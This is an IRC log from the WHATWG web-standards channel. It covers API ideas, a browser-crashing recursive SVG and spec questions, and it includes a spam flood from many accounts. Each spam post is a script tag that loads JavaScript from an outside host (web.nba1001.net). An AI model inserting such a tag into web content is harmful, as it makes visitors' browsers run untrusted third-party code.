00:00
<gsnedders|ooo>
sangwhan: I mean that would essentially be something you could do with canvas already, no?
00:02
<sangwhan>
gsnedders|ooo: to some extent, it's a bit roundabout and wouldn't work from a SW though. :-(
00:02
<Domenic>
sangwhan: bytes <-> pixel arrays, you mean? A lot of people want it; seems like a nice idea; no strong drivers to cause any implementers to actually spend resources, though.
00:04
<sangwhan>
Domenic: Yes, bytes<->object(with or without raw raster access) or also video I guess. I think it would be something worth iterating as a layered API first.
09:45
<KevinMarks>
Someone uploaded an SVG file that crashes any browser that tries to render it to svgshare.com - I'd like to file browser/spec bugs about it, but I'm not sure how best to do so as any process previewing it is going to run out of RAM and die.
09:45
<KevinMarks>
What's best practice here?
09:51
<ondras>
when you open the SVG with a file editor, do you see any obvious reason why the RAM runs out?
09:51
<ondras>
i.e. is the file size 100GB or similar? :)
10:05
<KevinMarks>
It builds a fractal by recursively transforming a rectangle. The file is 13k, but its effectively a transform fork bomb.
10:14
<ondras>
I see
10:15
<ondras>
well I suppose that other image formats are able to crash the renderer stuff as well (jpegs of billion X billion pixel sizes etc)
10:15
<ondras>
so to me this does not really sound like a spec/browser bug, or at least not specific to this one case
10:16
<ondras>
apparently this cannot be fixed by inspecting the file prior to rendering
10:17
<ondras>
so your best bet would be to submit the problematic file to all afflicted renderers and propose they fail in a more graceful fashion
10:18
<KevinMarks>
It's a tricky one, in that you need to pay attention to recursion depth. I assume postscript has been through this before.
10:19
<ondras>
well caring for recursion depth is quite common -- JS impls do that normally, throwing a regular exception once a limit is hit
10:21
<jgraham>
KevinMarks: Seems like a browser bug with a link to the testcase and a warning that it may crash the process would be fine
10:43
<KevinMarks>
I can provide the svg with a txt extension, that is relatively safe (though content sniffing could still trigger it)
10:48
<jgraham>
Testcases that crash browsers are not really a new thing :)
12:40
<GPHemsley>
annevk: Are Review Drafts deliberately in black and white?
12:41
<GPHemsley>
..or is there a stylesheet missing?
12:41
<annevk>
GPHemsley: yup
12:41
<GPHemsley>
k
14:51
<J21_>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
14:51
<J21_>
This message was brought to you by Private Internet Access
15:08
<StephenS15>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
15:08
<StephenS15>
This message was brought to you by Private Internet Access
15:20
<myth0d2211>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
15:20
<myth0d2211>
This message was brought to you by Private Internet Access
15:37
<nox>
Ah ffs they are back
15:46
<t0ne26>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
15:46
<t0ne26>
This message was brought to you by Private Internet Access
15:58
<duckgoose7>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
15:58
<duckgoose7>
This message was brought to you by Private Internet Access
15:58
<horse>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
15:58
<horse>
This message was brought to you by Private Internet Access
16:03
<bmos7>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
16:03
<bmos7>
This message was brought to you by Private Internet Access
16:03
<nox>
annevk: You probably want to make the channel +r before this shit settles down.
16:12
<lostnord>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
16:12
<lostnord>
This message was brought to you by Private Internet Access
16:26
<Guest32399>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
16:26
<Guest32399>
This message was brought to you by Private Internet Access
16:33
<Humbedooh7>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
16:33
<bigpresh629>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
16:33
<Humbedooh7>
This message was brought to you by Private Internet Access
16:33
<bigpresh629>
This message was brought to you by Private Internet Access
16:33
<cncr04s0>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
16:33
<cncr04s0>
This message was brought to you by Private Internet Access
17:31
<annevk>
So I'm trying to figure out how to IRC to ban these folks and no luck...
17:31
<annevk>
I'm in the access list, but I cannot op myself
17:31
<nox>
annevk: How come you can't?
17:31
<annevk>
And I also cannot find good documentation suitable for Freenode
17:32
<annevk>
nox: if only I knew
17:32
<nox>
annevk: /cs op #whatwg annevk
17:32
<nox>
Should work.
17:33
<wfranken>
<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>;
17:33
<wfranken>
This message was brought to you by Private Internet Access
17:34
<nox>
mst: Seems like sigyn left?
17:34
<nox>
annevk: Sigyn should kill all of this automatically, it's a network bot.
17:34
<mst>
anybody objecting to me deploying the network anti-spambot, please bitch now because I'm having a really stupid day
17:35
<nox>
mst: ^
17:35
<mst>
also wtf
17:35
<nox>
Hah.
17:35
<annevk>
mst: go ahead
17:35
<nox>
mst: Good luck my friend.
17:35
<mst>
annevk: can you '/invite sigyn' please
17:35
<annevk>
nox: apparently I wasn't logged in for some reason
17:35
<annevk>
mst: done
17:36
<mst>
while I get somebody to tell me what I did wrong that made her leave after 10s
17:36
<nox>
If I ever feel like I'm having a shitty day this Summer, I'll remember mst's today.
17:36
<mst>
annevk: basically, if she parts again, re-/invite her
17:36
<mst>
she *shouldn't* but I think she's under fairly heavy load atm
17:36
<annevk>
mst: okay, I'll be afk for a while, but hopefully someone else will read up on this
17:36
mst
pets the murderbot
17:37
<mst>
if nobody else is around likely nox will ping me :)
17:38
<nox>
https://irccloud.mozilla.com/file/wW0S1fPk/Capture%20d%E2%80%99e%CC%81cran%202018-07-25%20a%CC%80%2019.37.46.png
17:38
<nox>
mst: Literally my job ^
18:10
<Domenic>
Oh I thought we already had Sigyn
18:21
<domfarolino>
ugh
20:18
<Domenic>
The anti-spam bots are not helping -_-
20:46
<jyasskin>
I thought about using https://mimesniff.spec.whatwg.org/#supplied-mime-type to pull out the Content-Type of a response, but it's noexport. Should I take the last Content-Type header manually, or do something else?
21:09
<Domenic>
jyasskin: it doesn't look like the noexport is intentional. So it'd just be a matter of adding export="" to the source.
21:09
<jyasskin>
Domenic: Thanks.